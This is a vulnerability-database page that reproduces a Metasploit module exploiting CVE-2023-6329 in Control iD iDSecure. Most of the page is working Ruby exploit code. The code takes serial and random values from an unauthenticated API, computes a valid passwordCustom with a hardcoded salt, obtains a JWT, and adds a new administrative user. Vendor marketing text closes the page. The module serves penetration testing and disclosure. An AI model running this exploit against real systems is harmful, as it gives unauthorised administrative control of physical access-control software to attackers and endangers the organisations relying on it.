Lucene search
K

Control ID IDSecure Authentication Bypass

🗓️ 31 Aug 2024 00:00:00Reported by Michael Heinzl, Tenable, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 286 Views

Control iD iDSecure Authentication Bypass (CVE-2023-6329) - Unauthenticated remote attacker computes valid credentials and adds new admin user to web interfac

Related
Code
`class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
CheckCode = Exploit::CheckCode  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',  
'Description' => %q{  
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an  
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.  
},  
'Author' => [  
'Michael Heinzl', # MSF Module  
'Tenable' # Discovery and PoC  
],  
'References' => [  
['CVE', '2023-6329'],  
['URL', 'https://www.tenable.com/security/research/tra-2023-36']  
],  
'DisclosureDate' => '2023-11-27',  
'DefaultOptions' => {  
'RPORT' => 30443,  
'SSL' => 'True'  
},  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
)  
)  
  
register_options([  
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),  
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])  
])  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return CheckCode::Unknown  
end  
  
return CheckCode::Unknown unless res&.code == 401  
  
data = res.get_json_document  
version = data['Version']  
return CheckCode::Unknown if version.nil?  
  
print_status('Got version: ' + version)  
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')  
  
return CheckCode::Appears  
end  
  
def run  
# 1) Obtain the serial and passwordRandom  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('passwordRandom') && json.key?('serial')  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')  
end  
  
password_random = json['passwordRandom']  
serial = json['serial']  
print_good('Retrieved passwordRandom: ' + password_random)  
print_good('Retrieved serial: ' + serial)  
  
# 2) Create passwordCustom  
sha1_hash = Digest::SHA1.hexdigest(serial)  
combined_string = sha1_hash + password_random + 'cid2016'  
sha256_hash = Digest::SHA256.hexdigest(combined_string)  
short_hash = sha256_hash[0, 6]  
password_custom = short_hash.to_i(16).to_s  
print_status("Created passwordCustom: #{password_custom}")  
  
# 3) Login with passwordCustom and passwordRandom to obtain a JWT  
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, 'api/login/'),  
'data' => body  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('accessToken')  
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')  
end  
  
access_token = json['accessToken']  
print_good('Retrieved JWT: ' + access_token)  
  
# 4) Add a new administrative user  
body = {  
idType: '1',  
name: datastore['NEW_USER'],  
user: datastore['NEW_USER'],  
newPassword: datastore['NEW_PASSWORD'],  
password_confirmation: datastore['NEW_PASSWORD']  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/json',  
'headers' => {  
'Authorization' => "Bearer #{access_token}"  
},  
'uri' => normalize_uri(target_uri.path, 'api/operator/'),  
'data' => body  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'  
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)  
end  
  
# 5) Confirm credentials work  
body = {  
username: datastore['NEW_USER'],  
password: datastore['NEW_PASSWORD'],  
passwordCustom: nil  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, 'api/login/'),  
'data' => body  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
unless json.key?('accessToken') && json.key?('unlock')  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
  
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)  
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")  
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation